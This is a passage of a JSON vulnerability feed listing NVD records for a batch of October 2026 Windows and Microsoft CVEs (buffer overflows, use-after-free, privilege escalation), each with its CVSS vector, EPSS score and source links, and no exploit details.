CVE-2026-83921","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83921","type":"primary","publishedAt":"2026-10-13T19:20:47.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83920","cveId":"CVE-2026-83920","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.770Z","updatedAt":"2026-10-16T16:21:47.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83920","asOf":"2026-10-16T16:21:47.310Z"},"epss":{"probability":0.00333,"percentile":0.26268,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83920","type":"primary","publishedAt":"2026-10-13T19:20:47.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83919","cveId":"CVE-2026-83919","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.593Z","updatedAt":"2026-10-16T16:21:47.133Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83919","asOf":"2026-10-16T16:21:47.133Z"},"epss":{"probability":0.0032,"percentile":0.24763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83919","type":"primary","publishedAt":"2026-10-13T19:20:47.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83918","cveId":"CVE-2026-83918","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.417Z","updatedAt":"2026-10-16T16:21:46.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83918","asOf":"2026-10-16T16:21:46.920Z"},"epss":{"probability":0.00333,"percentile":0.26267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83918","type":"primary","publishedAt":"2026-10-13T19:20:47.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83917","cveId":"CVE-2026-83917","aliases":[],"kind":"vulnerability","title":"Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.253Z","updatedAt":"2026-10-16T16:21:46.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83917","asOf":"2026-10-16T16:21:46.710Z"},"epss":{"probability":0.00282,"percentile":0.20541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83917","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83917","type":"primary","publishedAt":"2026-10-13T19:20:47.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83916","cveId":"CVE-2026-83916","aliases":[],"kind":"vulnerability","title":"Double free in Windows Error Reporting allows an authorized attacker to execute code locally.","summary":"Double free in Windows Error Reporting allows an authorized attacker to execute code locally.","detail":"Double free in Windows Error Reporting allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.080Z","updatedAt":"2026-10-16T16:21:46.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83916","asOf":"2026-10-16T16:21:46.540Z"},"epss":{"probability":0.00307,"percentile":0.23265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83916","type":"primary","publishedAt":"2026-10-13T19:20:47.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83915","cveId":"CVE-2026-83915","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.927Z","updatedAt":"2026-10-16T16:21:46.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83915","asOf":"2026-10-16T16:21:46.390Z"},"epss":{"probability":0.00307,"percentile":0.23264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83915","type":"primary","publishedAt":"2026-10-13T19:20:46.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83914","cveId":"CVE-2026-83914","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.750Z","updatedAt":"2026-10-16T16:21:46.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83914","asOf":"2026-10-16T16:21:46.223Z"},"epss":{"probability":0.00819,"percentile":0.56908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83914","type":"primary","publishedAt":"2026-10-13T19:20:46.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83913","cveId":"CVE-2026-83913","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.607Z","updatedAt":"2026-10-16T16:21:46.087Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83913","asOf":"2026-10-16T16:21:46.087Z"},"epss":{"probability":0.00388,"percentile":0.3261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83913&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83913","type":"primary","publishedAt":"2026-10-13T19:20:46.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83913&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83913, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83912","cveId":"CVE-2026-83912","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.430Z","updatedAt":"2026-10-16T16:21:45.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83912","asOf":"2026-10-16T16:21:45.917Z"},"epss":{"probability":0.00333,"percentile":0.26267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83912","type":"primary","publishedAt":"2026-10-13T19:20:46.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83911","cveId":"CVE-2026-83911","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.250Z","updatedAt":"2026-10-16T16:21:45.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83911","asOf":"2026-10-16T16:21:45.723Z"},"epss":{"probability":0.00307,"percentile":0.23258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83911","type":"primary","publishedAt":"2026-10-13T19:20:46.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83908","cveId":"CVE-2026-83908","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.","summary":"Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.","detail":"Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:45.700Z","updatedAt":"2026-10-16T16:21:45.207Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83908","asOf":"2026-10-16T16:21:45.207Z"},"epss":{"probability":0.00307,"percentile":0.23259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83908","type":"primary","publishedAt":"2026-10-13T19:20:45.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83908, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83903","cveId":"CVE-2026-83903","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:44.593Z","updatedAt":"2026-10-13T21:19:03.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83903","asOf":"2026-10-13T21:19:03.150Z"},"epss":{"probability":0.00388,"percentile":0.32611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83903&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83903","type":"primary","publishedAt":"2026-10-13T19:20:44.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83903&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83903, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83902","cveId":"CVE-2026-83902","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:44.413Z","updatedAt":"2026-10-16T16:21:44.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83902","asOf":"2026-10-16T16:21:44.470Z"},"epss":{"probability":0.00404,"percentile":0.34364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83902","type":"primary","publishedAt":"2026-10-13T19:20:44.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is 